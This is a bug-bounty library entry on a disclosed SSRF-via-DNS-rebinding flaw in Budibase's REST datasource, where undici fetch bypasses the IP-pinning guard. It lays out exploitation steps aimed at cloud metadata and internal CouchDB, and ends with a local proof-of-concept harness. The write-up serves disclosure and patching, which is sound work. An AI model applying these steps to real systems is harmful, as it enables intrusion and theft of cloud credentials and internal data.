# Budibase: SSRF via DNS rebinding in the REST datasource integration

Budibase REST datasource uses undici fetch which ignores the pinned Node agent, so DNS rebinding defeats the SSRF guard and reaches internal services.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: dhairya7760
- Disclosed: 2026-07-24
- CVE: CVE-2026-73410
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v42f-v8xc-j435
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v42f-v8xc-j435
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:incomplete-fix technique:source-review vuln:race-condition vuln:ssrf

**Target:** REST datasource integration / outbound fetch guard (undici transport)
**Root cause:** fetchWithBlacklist validates and pins the resolved IP via a Node http.Agent, but the REST datasource overrides fetchFn with undici's fetch, which silently ignores `agent` and uses its own dispatcher that re-resolves DNS at connect time.
**Steps:**
1. Configure a REST datasource pointing at an attacker domain with TTL 0 returning a public IP during validation and an internal IP (127.0.0.1 / 169.254.169.254) at connect.
2. Trigger the datasource query; fetchWithBlacklist resolves and pins the safe public IP via makePinnedAgent.
3. rest.ts calls `fetch(requestUrl, setDispatcher(requestInput, requestUrl))` with undici, which ignores `agent` and uses `getDispatcher` (plain undici Agent, no connect.lookup pin).
4. undici re-resolves the hostname at connect and reaches the internal service; full response body returned to caller.
5. Use arbitrary method/body to read metadata/CouchDB or write/delete internal data.
**How found:** Noticed rest.ts is the only caller overriding fetchFn with undici while the guard's pin is a Node agent; recognized undici ignores `agent` and its dispatcher lacks connect.lookup, so the pin never applies. Built a PoC with real guard code plus a negative control on the node-fetch path to localize the bug.
**Exploitation:** Authenticated builder/tenant configures a REST datasource with a rebinding hostname; the guard validates a public IP but undici re-resolves to an internal IP at connect, returning full internal responses (cloud metadata IAM creds, CouchDB _all_dbs/_users) and allowing PUT/POST/DELETE against unauthenticated localhost services.
**Escalation:** Read cloud metadata to steal IAM credentials for cloud account compromise; write/delete internal CouchDB/Redis affecting all co-tenants.
**Insight:** When a security fix pins a resolved IP via a transport-specific mechanism (Node agent), audit every caller that swaps the transport (undici, axios, got) — the pin silently no-ops. Diff the negative-control path against the suspect path to prove which transport honors the pin.

## Proof of concept (copied exactly from the original report)

**PoC harness reproducing rest.ts undici bypass**

```
import http from "http"
import { fetch as undiciFetch } from "undici"
import { fetchWithBlacklist } from "./real/utils/outboundFetch" // REAL guard
import { getDispatcher } from "./real/utils/fetch"              // REAL dispatcher
async function main() {
  const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE"))
  await new Promise<void>(r => server.listen(0, "127.0.0.1", r))
  const port = (server.address() as any).port
  const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect
  console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`)

  // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts).
  const restFetchFn = (u: string, i: any) =>
    undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any
  let A: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { A = `ERROR ${e.message}` }
  console.log("(A) REST/undici path  ->", A)

  // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent.
  let B: string
  try { const r: any = await fetchWithBlacklist(target, { method: "GET", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` }
  catch (e: any) { B = `ERROR ${e.message}` }
  console.log("(B) node-fetch path   ->", B)

  const bypass = A.includes("INTERNAL_SECRET_RESPONSE"), contained = !B.includes("INTERNAL_SECRET_RESPONSE")
  console.log(`\nRESULT: ${bypass && contained ? "PASS - undici path BYPASSES guard, node-fetch path CONTAINED" : "FAIL"}`)
  server.close(); process.exit(bypass && contained ? 0 : 1)
```

**Rebinding input stub for blacklist module**

```
const SAFE = "203.0.113.10" // RFC5737 TEST-NET-3, not blacklisted -> validation passes
export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] }
export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE }
```

**rest.ts undici fetchFn override snippet**

```
const setDispatcher = (requestInput, requestUrl) => ({
    ...requestInput,
    dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }),
  })
  ...
  response = await coreUtils.fetchWithBlacklist(url, input, {
    fetchFn: async (requestUrl, requestInput) =>
      fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch
```

